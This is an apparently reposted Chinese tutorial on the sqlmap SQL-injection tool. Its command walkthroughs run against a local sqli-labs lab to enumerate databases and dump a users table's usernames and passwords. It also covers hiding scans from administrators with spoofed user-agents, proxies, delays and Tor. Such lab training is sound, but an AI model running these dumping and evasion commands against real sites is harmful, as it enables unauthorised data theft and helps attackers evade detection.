当前位置:   article > 正文

sql注入————sqlmap自动化注入_sqlmap technique

sqlmap technique

一、sqlmap介绍

1.1 sqlmap支持的5中注入类型
1.2 sqlmap目录介绍
1.3 sqlmap常用参数
  • 1
  • 2
  • 3

sqlmap是一款免费开源的sql自动化注入工具
官网下载地址:http://sqlmap.org/

1.1 sqlmap支持的5中注入类型

1.布尔盲注检测
2.时间盲注检测
3.错误注入检测
4.union注入检测
5.堆叠查询检测

1.2 sqlmap目录介绍

extra ————额外功能。如:发出声响、运行cmd、安全执行、shellcode等
lib ————代码库 包含了五种注入类型的请求参数、提权操作等
plugins ————插件
shell ————包含了注入成功后的9中shell远程连接命令执行和数据库管理
txt ————存放的字典。如:用户浏览器的代理、表、列、关键词等
sqlmap.py ————主程序
sqlmapapi.py ————sqlmap的api文件。可以将sqlmap集成到其他平台

1.3 sqlmap常用参数

–version ————#查看版本信息
-h ————#查看常用功能参数
-hh ————#查看所有参数
-v ————#显示详细信息,一共7级,从0-6,默认是1,数字越大,越详细
Target —————#制定目标
-d —————#直接连接数据库侦听端口,类似于把自己当一个客户端来连接
-u —————#指定url扫描,但url必须存在查询参数。如:xxx.php?id=1
-l —————#指定logfile文件进行扫描,可以结合bp把访问的几率爆出成一个log文件,sqlmap直接加载log文件进行扫描
-m —————#扫描多个url,把多个url保存成一个文本文件,-m加载扫描
-r —————#把http的请求头、body保存成一个文件,同一交个sqlmap。sqlmap对里面的内容进行拼接请求体
–timeout —————#指定超时时间
–retries —————#指定重试次数
–skip-urlencode —————#不进行url加密


二、sqlmap常用探测方式

2.1 探测单个目标
2.2 探测多个目标
2.3 从文件加载http请求进行探测
2.4 从burpsuite日志进行探测
2.5 指定探测类型
2.6 枚举数据库信息
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
2.1 探测单个目标
sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" 
  • 1

参数指南:
-u ————指定url

2.2 探测多个目标
sqlmap -m urls.txt --dbs --users --batch
  • 1

参数指南:
-m ———— 指定多个编写了多个url的文件名
-dbs ———— 查询数据库
-users ———— 查询用户
–batch ———— 不使用交互,一切使用默认配置

  1. 将多个url编写到文件里
    在这里插入图片描述
    在这里插入图片描述
  2. 执行sqlmap -m urls.txt --dbs --users (要查询什么内容就指定什么参数)
    在这里插入图片描述
    在这里插入图片描述
2.3 从文件加载http请求进行探测

-r ———— 指定http请求文件

  1. 浏览器打开http://192.168.0.63/sqli-labs/Less-10/,并输入账号和密码(admin,admin)提交。
  2. 打开bp的代理拦截请求
  3. 回到浏览器刷新页面(抓取登陆以后存在的cookie)
    在这里插入图片描述
  4. vim cookie.txt 把http头信息粘贴进去,并在cookie后面添加 * 保存退出
    在这里插入图片描述
    在这里插入图片描述
  5. 执行命令 sqlmap -r cookie.txt --level 3 --batch --dbs
    在这里插入图片描述
2.4 从burpsuite日志进行探测

-l ———— 指定日志目录扫描

  1. 开启bp请求日志记录
    在这里插入图片描述
  2. 然后利用bp多拦截几个网页,log-bp.txt里就有了日志
    在这里插入图片描述
  3. 指定日志文件进行注入
sqlmap -l log-bp.txt --dbs --level 3 --batch
  • 1

在这里插入图片描述

2.5 指定探测类型

–technique=B 指定sql注入类型。sqlmap中的注入类型有BEUSTQ。默认是B。

  • B:Boolean布尔盲注
  • T:Time时间盲注
  • E:Error错误注入
  • U:Union联合注入
  • S:多语句注入
  • Q:内联注入
    例:sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --technique=B
2.6 枚举数据库信息
 --dbs ———— 爆库
 --tables ———— 爆表
 --colunms ———— 爆字段
 --dump ———— 爆数据
 -D ———— 指定数据库
 -T ———— 指定表
 -C ———— 指定字段
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

1.判断注入点

sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch
  • 1

在这里插入图片描述
2. 爆库

sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch --dbs
  • 1

在这里插入图片描述
3. 爆表

sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch -D security --tables
  • 1

在这里插入图片描述
4. 爆字段

sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch -D security -T users --columns
  • 1

在这里插入图片描述
5. 爆数据

sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch -D security -T users -C "username,password" --dump
  • 1

或者

sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch -D security -T users -columns --dump
  • 1

在这里插入图片描述


三、sqlmap请求参数

3.1 默认的请求参数
  1. 打开wireshark关闭混杂模式进行抓包(只接收自己的包),过滤器:ip.addr==192.168.0.63
    在这里插入图片描述
  2. 执行探测任务
    root@xuegod53:~# sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --batch
  3. 打开wireshark停止抓包,查看抓取数据。
    在这里插入图片描述
    发现User-agent:sqlmap/1.3#stable(http://sqlmap.org)\rin 上面有sqlmap的标记,网络管理员可以通过这些特征对我们的访问进行过滤。
    user-agent是什么呢?
    user-agent中文名是用户代理,检测UA,是一个特殊字符串头,有了他服务器才能识别客户端的操作系统及版本、CPU类型、浏览器版本、语言、插件等信息。
3.2 修改默认请求参数

为了不让网管对我们的访问进行过滤,我们需要修改请求参数。

方法一: 手动指定请求参数
利用 --user-agent=" " 来手动指定请求参数

root@xuegod53:~# sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101" --batch

方法二:自动指定请求参数
利用 --random-agent 来随机指定请求参数

root@xuegod53:~# sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --random-agent --batch

测试:
在这里插入图片描述
这样就没有ok了

3.3 使用代理进行探测

在sqlmap探测的时候怎么才能不暴露我们的真是ip呢?这个时候就要使用代理在进行探测了。

--proxy="代理地址"	————	单个代理地址
--proxy-file= 代理地址文件路径	————	多个代理地址
--delay ———— 指定间隔延时时间。防止ip被屏蔽
  • 1
  • 2
  • 3

免费的代理地址 http://www.kuaidaili.com/free/inha/
在这里插入图片描述

单个地址代理
sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --proxy="127.78.79.150.8081" --delay 1 --random-agent --batch
注: --delay 1 ———— 表示探测延时1s,防止过快的探测速度导致网站屏蔽当前ip地址。

多个地址代理
创建代理文件proxy.txt,我这里创在root下
sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --proxy-file= /root/proxy.txt --delay 1 --random-agent --batch

tor匿名代理
使用以上地址代理,虽然能尽量避免服务器对我们的封锁,但不能完全匿名。使用tor就可以完全匿名。

具体步骤如下:

需要先使用代理访问 tor 网络然后在 sqlmap 中配置 tor 代理。
配置方法:--tor --tor-type 类型一般选择 socks5,然后在 sqlmap 上使用 --check-tor 选项迚行
检查
  • 1
  • 2
  • 3
3.4 忽略未验证错误

参数:
--ignore-401 ———— 忽略未验证错误

原因:
很多存在http认证的网站会提示我们输入用户名密码,如果没输就会返回401错误,所以要忽略未验证错误。

3.5 sqlmap安全模式

如果执行了一定数量的丌成功请求,则 Web 应用程序戒其间的检查技术会破坏会话。这可能发生在
sqlmap 的检测阶段戒利用任何盲 SQL 注入类型时。原因是 SQL 有效负载不一定返回输出,因此可能被
应用程序会话管理戒检查技术检测到从而破坏会话。

–safe-url #测试期间经常访问的 URL 地址。
–safe-post #HTTP POST 数据发送到给定的安全 URL 地址。
–safe-req #从文件加载并使用安全的 HTTP 请求。
–safe-freq #在两次访问给定安全位置之间测试请求。

sqlmap 将访问每个预定丿数量的请求,而丌对 safe url 执行任何类型的注入。

3.6 关闭URL编码

参数:
--skip-urlencode———— 这种情况用于后端服务器不遵循 RFC 标准(URL 编码的标准)并要求数
据以非编码方式迚行传输。

四、sqlmap常用参数优化

  1. 配置持久化连接
    参数:
    --keep-alive

  2. 设置空连接
    参数:
    --null-connection ———— 该参数用于head方式发生http请求时,设置空连接可以不接受服务器返回来body信息,进而减少了数据包大小,提高了盲注探测性能。

  3. 配置多线程
    参数:
    --thread ———— 默认线程为3,最大为10.目标服务器不存在访问限制且性能较好的情况下可以多设几个线程。

  4. 持久化+空连接+多线程
    参数:
    -o ———— 该参数绑定率持久化连接、空连接、多线程这三个参数,线程默认数是3

5.预测输出算法
参数:
--predict-output ———— 该参数使用推理算法,用于对检索到的值的字符迚行顺序统计预测,根据
sqlmap 工作目录下的 txt/common-outputs.txt 结合当前枚丼到的数据给出的预测,从而提升探测效
率,当然如果有遇到常见的名称也可以手劢添加到 txt/common-outputs.txt 文件中
请注意,此开关不–threads 开关不兼容。

知识来源于网络。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/菜鸟追梦旅行/article/detail/453358
推荐阅读
相关标签
  

闽ICP备14008679号